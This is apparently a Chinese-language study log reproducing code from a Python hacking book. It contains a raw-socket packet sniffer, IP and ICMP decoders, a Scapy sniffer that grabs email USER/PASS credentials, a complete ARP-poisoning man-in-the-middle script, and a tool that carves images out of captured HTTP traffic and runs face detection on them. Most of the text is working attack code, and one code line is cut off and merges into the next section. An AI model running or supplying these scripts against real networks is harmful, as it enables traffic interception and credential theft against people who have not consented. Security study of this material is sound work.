第四周进展
Windows和 Linux上的包嗅探
在 Windows和 Linux上访问原始套接字有些许不同，但我们更中意于在多平台部署同样的嗅探器以实现更大的灵活性。我们将先创建套接字对象，然后 再判断程序在哪个平台上运行。在 Windows平台上，我们需要通过套接字输 入／输出控制（OCTL）设置一些额外的标志，它允许在网络接口上启用混杂模 式。在第一个例子中，我们只需设置原始套接字嗅探器，读取一个数据包：
import socket
import os
# host to listen on
host = "192.168.0.196"
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# if we're on Windows we need to send an IOCTL
# to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
# read in a single packet
print sniffer.recvfrom(65565)
# if we're on Windows turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)- 现在，我们知道了如何将IP头中的值映射到C语言的数据类型中。在将数 据结构转换为Python对象时，使用C语言的代码作为参考非常有用，因为它使 得在编写纯 Python代码进行处理时显得无缝且自然。值得注意的是，结构体中的ip_hl和ip_v部分添加了比特位标志，说明字段按比特位计算， 长度为4比特。我们将使用纯Python的解决方案确保数据能正确映射到这些字 段中，这样就能避免对任何比特位进行操作。 来，我们将ip解码的代码添 加到smiffer＿ip_header_decode.py中：
import socket
import os
import struct
from ctypes import *
# 监听的主机
host = "192.168.0.187"
# ip头定义
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# 协议字段与协议名称对应
self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
# 可读性更强的IP地址
self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))
# 协议类型
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# if we're on Windows we need to send some ioctls
# to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# read in a single packet
raw_buffer = sniffer.recvfrom(65565)[0]
# create an IP header from the first 20 bytes of the buffer
ip_header = IP(raw_buffer[0:20])
print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
except KeyboardInterrupt:
# 如果运行在Windows上，关闭混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)解码ICMP
现在我们已经能够完全解码嗅探到的任何数据的IP层了，因为发送UDP 数据到关闭的端口时会产生ICMP响应，所以我们还需要对ICMP数据进行解 码。ICMP内容中包含的信息非常繁杂，但每条信息都包含三个固定的字段： 数据类型、代码值和校验和。数据类型和代码值字段包含了主机接收到的ICMP 信息的类别，它们们揭示了正确解码ICMP信息的方法。
我们的扫描器的目标是查找类型值为3，代码值也为3的ICMP数据包 ，这种ICMP响应数据意味着目标不可达（ estination Unreachable），而代码 值为3是由于目标主机产生了端口不可达（ port Unreachable）的错误。图
所示为目标不可达时的ICMP信息 可以看到，前8比特是1CMP的类型，之后的8比特包含了ICMP的代码 值。有趣的是，之前我们发送的UDP数据包触发了ICMP响应，目标主机发送这种类型的ICMP数据包时，UDP数据包的IP头也包含在这个ICMP数据中。 为了确认是我们的扫描器触发了ICMP响应，我们还可以自定义8字节的附加 数据作为UDP的负载发送到目标主机，然后与接收到的ICMP包最后的8字节 进行对比：
import socket
import os
import struct
import threading
from ctypes import *
# host to listen on
host = "192.168.0.187"
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# map protocol constants to their names
self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
# human readable IP addresses
self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))
# human readable protocol
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
class ICMP(Structure):
_fields_ = [
("type", c_ubyte),
("code", c_ubyte),
("checksum", c_ushort),
("unused", c_ushort),
("next_hop_mtu", c_ushort)
]
def __new__(self, socket_buffer):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer):
pass
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# if we're on Windows we need to send some ioctls
# to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# read in a single packet
raw_buffer = sniffer.recvfrom(65565)[0]
# create an IP header from the first 20 bytes of the buffer
ip_header = IP(raw_buffer[0:20])
print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
# if it's ICMP we want it
if ip_header.protocol == "ICMP":
# calculate where our ICMP packet starts
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]
# create our ICMP structure
icmp_header = ICMP(buf)
print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
# handle CTRL-C
except KeyboardInterrupt:
# if we're on Windows turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)窃取E-mail认证
现在，我们将建立一个基于 Scapy的嗅探架构，对数据包进行简单的解析和输出，以获得对 Scapy的初步认识。实现主功能的 sniff函数类似如下 sniff(filter", iface="any",prn=function, count=N)
filter参数允许我们对 Scapy嗅探的数据包指定一个BPF（ Wireshark类型） 的过滤器，也可以留空以嗅探所有的数据包。例如，如果需要嗅探所有的HTTP 数据包，你可以使用 tcp port 80的BPF过滤。iface参数设置嗅探器所要嗅 探的网卡；如果留空，则对所有的网卡进行嗅探。prn参数指定唤探到符合过 滤器条件的数据包时所调用的回调函数，这个回调函数以接收到的数据包对象 作为唯一的参数， count参数指定你需要唳探的数据包的个数：如果留空，Scapy 默认为嗅探无限个。 我们从利用 Scapy创建一个简单的暝探器开始，它捕获一个数据包，然后 输出其中的内容。之后进行扩展，使它仅对 email相关的命令进行嗅 探。新建 mail_sniffer文件然后输如下代码：
import threading
from scapy.all import *
# our packet callback
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "[*] Server: %s" % packet[IP].dst
print "[*] %s" % packet[TCP].payload
# fire up our sniffer
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,s编写ARP投毒脚本：
from scapy.all import *
import os
import sys
import threading
interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254"
packet_count = 1000
poisoning = True
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
# 调用不同的send函数
print "[*] Restoring target..."
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
def get_mac(ip_address):
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
# 返回从响应数据中获取的MAC地址
for s,r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
global poisoning
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst= target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst= gateway_mac
print "[*] Beginning the ARP poison. [CTRL-C to stop]"
while poisoning:
send(poison_target)
send(poison_gateway)
time.sleep(2)
print "[*] ARP poison attack finished."
return
# set our interface
conf.iface = interface
# turn off output
conf.verb = 0
print "[*] Setting up %s" % interface
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print "[!!!] Failed to get gateway MAC. Exiting."
sys.exit(0)
else:
print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)
target_mac = get_mac(target_ip)
if target_mac is None:
print "[!!!] Failed to get target MAC. Exiting."
sys.exit(0)
else:
print "[*] Target %s is at %s" % (target_ip,target_mac)
# start poison thread
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()
try:
print "[*] Starting sniffer for %d packets" % packet_count
bpf_filter = "ip host %s" % target_ip
packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
except KeyboardInterrupt:
pass
finally:
# write out the captured packets
print "[*] Writing packets to arper.pcap"
wrpcap('arper.pcap',packets)
poisoning = False
# wait for poisoning thread to exit
time.sleep(2)
# restore the network
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)处理PCAP文件
Wireshark和其他如 Network Miner等工具能很方便直观地测览数据包文件， 但有时候你 能想利用 Python和 Scapy自动的对PCAP数据进行解析和分割， 一些更高级的用法是基于捕获到的网络流量，修改负载中的字段进行模糊测试， 或仅仅是对之前的流量简单地进行回放。
我们要做的工作还有点不同。我们将尝试从HTTP流量中提取图像文件， 后利用 OpenCV这样的计算机图像处理工具对提取的图像进行处理，对图像 中包含人脸的部分进行检测，这样能缩小选择的图片范围，找到我们感兴趣的东 西。你可以利用我们之前进行ARP欺骗的脚本捕获数据生成PCAP文件，或 者对它进行扩展，在目标浏览网页时实时的对图 像进行人脸检测。下面我们 编写进行PCAP分析所需要的代：
import re
import zlib
import cv2
from scapy.all import *
pictures_directory = "pic_carver/pictures"
faces_directory = "pic_carver/faces"
pcap_file = "bhp.pcap"
def face_detect(path,file_name):
img = cv2.imread(path)
cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))
if len(rects) == 0:
return False
rects[:, 2:] += rects[:, :2]
# highlight the faces in the image
for x1,y1,x2,y2 in rects:
cv2.rectangle(img,(x1,y1),(x2,y2),(127,255,0),2)
cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)
return True
def get_http_headers(http_payload):
try:
# split the headers off if it is HTTP traffic
headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]
# break out the headers
headers = dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", headers_raw))
except:
return None
if "Content-Type" not in headers:
return None
return headers
def extract_image(headers,http_payload):
image = None
image_type = None
try:
if "image" in headers['Content-Type']:
# grab the image type and image body
image_type = headers['Content-Type'].split("/")[1]
image = http_payload[http_payload.index("\r\n\r\n")+4:]
# if we detect compression decompress the image
try:
if "Content-Encoding" in headers.keys():
if headers['Content-Encoding'] == "gzip":
image = zlib.decompress(image,16+zlib.MAX_WBITS)
elif headers['Content-Encoding'] == "deflate":
image = zlib.decompress(image)
except:
pass
except:
return None,None
return image,image_type
def http_assembler(pcap_file):
carved_images = 0
faces_detected = 0
a = rdpcap(pcap_file)
sessions = a.sessions()
for session in sessions:
http_payload = ""
for packet in sessions[session]:
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
# reassemble the stream into a single buffer
http_payload += str(packet[TCP].payload)
except:
pass
headers = get_http_headers(http_payload)
if headers is None:
continue
image,image_type = extract_image(headers,http_payload)
if image is not None and image_type is not None:
# store the image
file_name = "%s-pic_carver_%d.%s" % (pcap_file,carved_images,image_type)
fd = open("%s/%s" % (pictures_directory,file_name),"wb")
fd.write(image)
fd.close()
carved_images += 1
# now attempt face detection
try:
result = face_detect("%s/%s" % (pictures_directory,file_name),file_name)
if result is True:
faces_detected += 1
except:
pass
return carved_images, faces_detected
carved_images, faces_detected = http_assembler(pcap_file)
print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected
